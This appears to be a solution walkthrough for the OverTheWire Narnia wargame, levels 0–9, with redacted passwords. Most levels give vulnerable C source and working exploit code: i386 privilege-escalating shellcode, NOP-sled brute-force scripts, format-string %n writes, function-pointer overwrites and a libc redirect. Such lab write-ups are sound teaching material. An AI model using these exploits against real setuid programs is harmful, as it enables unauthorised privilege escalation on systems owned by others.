narnia.labs.overthewire.org 2226
level 0 → level 1
SSH InformationHost: narnia.labs.overthewire.orgPort: 2226User: narnia0Passwords: /etc/narnia_pass/Binaries: /narnia/Basic exploitation wargame, 10 levels (0-9). Stack overflows, format strings, shellcode, ret2libc.
Vulnerability: Stack buffer overflow (scanf)
Source narnia0.c:
int main() { long val=0x41414141; char buf[20]; scanf("%24s", &buf); if(val==0xdeadbeef) { setreuid(geteuid(),geteuid()); system("/bin/sh"); }}buf[20] + scanf("%24s") reads 24 bytes → overwrites val at offset 20.
python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'\xef\xbe\xad\xde')" | ./narnia0cat /etc/narnia_pass/narnia1[credential redacted]
level 1 → level 2
Vulnerability: Arbitrary code execution via environment variable
int main() { int (*ret)(); if(getenv("EGG")==NULL) exit(1); ret = getenv("EGG"); ret();}Executes EGG environment variable as code. Put shellcode (setreuid + execve /bin/sh) in EGG:
from pwn import *context.arch='i386'sc = asm(''' xor eax,eax; mov al,49; int 0x80 mov ebx,eax; mov ecx,eax xor eax,eax; mov al,70; int 0x80 xor eax,eax; push eax push 0x68732f2f; push 0x6e69622f mov ebx,esp; xor ecx,ecx; xor edx,edx mov al,11; int 0x80''')import os; env = os.environ.copy(); env['EGG'] = scimport subprocessp = subprocess.Popen(['/narnia/narnia1'], env=env, stdin=subprocess.PIPE)p.communicate(b'cat /etc/narnia_pass/narnia2\n')[credential redacted]
level 2 → level 3
Vulnerability: Stack buffer overflow (strcpy, 128-byte buffer)
int main(int argc, char *argv[]) { char buf[128]; strcpy(buf, argv[1]); printf("%s", buf);}Offset to return address: 132 bytes (buf[128] + saved ebp[4]). ASLR disabled, stack executable. Brute-force stack address with NOP sled:
from pwn import *context.arch='i386'sc = asm('''xor eax,eax;mov al,49;int 0x80;mov ebx,eax;mov ecx,eax;xor eax,eax;mov al,70;int 0x80;xor eax,eax;push eax;push 0x68732f2f;push 0x6e69622f;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov al,11;int 0x80''')import subprocessfor addr in range(0xffffd000, 0xffffe000, 8): payload = b'\x90'*(132-len(sc)) + sc + p32(addr) p = subprocess.Popen(['/narnia/narnia2', payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE) try: out,_ = p.communicate(b'echo PWNED;cat /etc/narnia_pass/narnia3\n', timeout=2) if b'PWNED' in out: print(out.decode()); break except: passHit at 0xffffdd18.
[credential redacted]
level 3 → level 4
Vulnerability: Stack overflow (strcpy) into output filename
int main(int argc, char **argv) { char ofile[16] = "/dev/null"; char ifile[32]; char buf[32]; strcpy(ifile, argv[1]); ofd = open(ofile, O_RDWR); ifd = open(ifile, O_RDONLY); read(ifd, buf, 31); write(ofd, buf, 31);}Overflow ifile[32] into ofile[16] — redirect output from /dev/null to writable file. Distance from ifile to ofile: 32 bytes. Create symlink matching the full overflowed path:
cd /tmp && mkdir nx && cd nxINNAME=$(python3 -c "print('A'*32+'BB',end='')")ln -sf /etc/narnia_pass/narnia4 "$INNAME"touch BB; chmod 777 BB/narnia/narnia3 "$INNAME"cat BB[credential redacted]
level 4 → level 5
Vulnerability: Stack buffer overflow (strcpy, 256-byte buffer, environ cleared)
int main(int argc, char **argv) { char buffer[256]; for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); if(argc>1) strcpy(buffer, argv[1]);}Return address offset: 264 bytes (256 buffer + 8 padding). ASLR off, stack executable:
from pwn import *context.arch='i386'sc = asm('''xor eax,eax;mov al,49;int 0x80;mov ebx,eax;mov ecx,eax;xor eax,eax;mov al,70;int 0x80;xor eax,eax;push eax;push 0x68732f2f;push 0x6e69622f;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov al,11;int 0x80''')import subprocessfor addr in range(0xffffc000, 0xfffff000, 16): payload = b'\x90'*(264-len(sc)) + sc + p32(addr) p = subprocess.Popen(['/narnia/narnia4', payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE) try: out,_ = p.communicate(b'echo PWNED;cat /etc/narnia_pass/narnia5\n', timeout=1) if b'PWNED' in out: print(out.decode()); break except: passHit at 0xffffdca0.
[credential redacted]
level 5 → level 6
Vulnerability: Format string (snprintf with user-controlled format, write to local variable i)
int main(int argc, char **argv) { int i = 1; char buffer[64]; snprintf(buffer, 64, argv[1]); buffer[63] = 0; printf("Change i's value from 1 -> 500. "); if(i==500) { setreuid(geteuid(),geteuid()); system("/bin/sh"); } printf("i = %d (%p)\n", i, &i);}The program leaks &i in output. Position 1 on the stack contains the first 4 bytes of buffer. Use %1$496d%1$n to write exactly 500 to i:
from pwn import *import subprocessp = subprocess.Popen(['/narnia/narnia5','test'],stdout=subprocess.PIPE)out,_ = p.communicate()addr = int(out.decode().split('(')[1].split(')')[0], 16)payload = p32(addr) + b'%1$496d%1$n'p = process(['/narnia/narnia5', payload])import time; time.sleep(0.3)p.sendline(b'cat /etc/narnia_pass/narnia6')print(p.recvall(timeout=2).decode())[credential redacted]
level 6 → level 7
Vulnerability: Buffer overflow overwriting function pointer
int main(int argc, char *argv[]) { char b1[8], b2[8]; int (*fp)(char *) = &puts; strcpy(b1, argv[1]); strcpy(b2, argv[2]); if(((unsigned long)fp & 0xff000000) == get_sp()) exit(-1); setreuid(geteuid(),geteuid()); fp(b1);}Stack layout: b2 at lowest, b1 above, fp above. Overflow b2[8] → b1[8] → fp[4]. The anti-stack check blocks 0xff but libc (0xf7...) passes.
Use 7 bytes for argv[2] so null stays in b2. argv[1] = sh;#ABCD (no null bytes, shell runs via system()).
#include <unistd.h>int main() { unsigned char arg1[] = { 0x73,0x68,0x3b,0x23,0x41,0x42,0x43,0x44, 0xe0,0x18,0xdd,0xf7, // system@libc 0x00 }; char arg2[] = "AAAAAAA"; char *args[] = {"/narnia/narnia6", (char*)arg1, arg2, NULL}; execve(args[0], args, NULL);}gcc run6.c -o run6echo "cat /etc/narnia_pass/narnia7" | ./run6[credential redacted]
level 7 → level 8
Vulnerability: Format string overwrite of function pointer
int vuln(const char *format) { char buffer[128]; int (*ptrf)(); ptrf = goodfunction; snprintf(buffer, 128, format); return ptrf();}int hackedfunction() { setreuid(geteuid(),geteuid()); system("/bin/sh");}Leaks addresses. Overwrite ptrf with hackedfunction via %hn:
import subprocess, struct, redummy = "X" * 29p = subprocess.Popen(["/narnia/narnia7", dummy], stdout=subprocess.PIPE)out = p.communicate()[0].decode()nums = re.findall(r"[0-9a-f]{5,}", out)ptrf_addr = int(nums[3], 16)hacked = int(nums[1], 16)lo, hi = hacked & 0xFFFF, (hacked >> 16) & 0xFFFFaddr1 = struct.pack("<I", ptrf_addr + 2)addr2 = struct.pack("<I", ptrf_addr)pad1, pad2 = hi - 8, lo - hifmt = f"%1${pad1}d%2$hn%1${pad2}d%3$hn".encode()payload = addr1 + addr2 + fmt[credential redacted]
level 8 → level 9
Vulnerability: Stack buffer overflow with corrupted source pointer
int i;void func(char *b) { char *blah = b; char bok[20]; memset(bok, 0, 20); for(i = 0; blah[i] != '\0'; i++) bok[i] = blah[i]; printf("%s\n", bok);}Leak argv[1] with 20-byte payload (loop stops before corrupting blah), then craft exploit with corrected pointer:
from pwn import *import struct, subprocess
context.arch = "i386"sc = asm(""" xor eax, eax mov al, 49; int 0x80 mov ebx, eax; mov ecx, eax xor eax, eax; mov al, 70; int 0x80 xor eax, eax; push eax push 0x68732f2f; push 0x6e69622f mov ebx, esp; xor ecx, ecx; xor edx, edx mov al, 11; int 0x80""")
r = subprocess.run(["/narnia/narnia8", b"E" * 20], capture_output=True, timeout=3)argv1_20 = struct.unpack("<I", r.stdout[20:24])[0]payload_len = 32 + len(sc)argv1_addr = argv1_20 - (payload_len - 20)ret_target = argv1_addr + 32
payload = (b"A" * 20 + struct.pack("<I", argv1_addr) + b"BBBB" + struct.pack("<I", ret_target) + sc)assert b"\x00" not in payload
p = subprocess.Popen(["/narnia/narnia8", payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)out, _ = p.communicate(input=b"cat /etc/narnia_pass/narnia9\necho DONE\n", timeout=10)for line in out.decode(errors="replace").split("\n"): if line.strip() and "OverTheWire" not in line and "More information" not in line: print(line)[credential redacted]
level 9
Final level — no exploit required. Wargame complete.